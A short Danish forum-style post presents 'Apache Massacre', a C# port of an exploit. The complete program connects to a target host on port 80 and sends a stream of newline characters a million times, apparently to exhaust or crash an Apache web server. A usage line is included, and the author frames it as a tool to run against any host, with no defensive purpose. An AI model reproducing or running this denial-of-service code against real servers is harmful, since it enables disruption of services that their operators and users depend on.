Apache Massacre i c#
Hvorfor er det at sådanne exploits altid skal skrive i c++... jeg kunne i hvert fald ikke compile kode, så efter en 1 time gav jeg op og skrev det i c# istedet. Tænk, det fylder faktisk meget mindre, og koden er meget pænere :)Usage: fil.exe host
using System;
using System.Text;
using System.Net;
using System.Net.Sockets;
namespace Apache_Massacre
{
/// <summary>
/// Summary description for Class1.
/// </summary>
class Class1
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main(string[] args)
{
string host = args[0];
IPAddress ip = Dns.Resolve(host).AddressList[0];
IPEndPoint EPhost = new IPEndPoint(ip, 80);
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(EPhost);
if (!s.Connected)
{
Console.WriteLine("Unable to connect");
return;
}
Console.WriteLine("Connected... beginning to send");
string send = "\n\n\n\n\n\n\n\n\n";
byte[] byteSend = Encoding.ASCII.GetBytes(send);
for (int i = 0; i < 1000000; i++)
{
try
{
s.Send(byteSend, byteSend.Length, SocketFlags.None);
}
catch (SocketException)
{
Console.WriteLine("Connection lost... server might have restarted");
break;
}
}
}
}
}
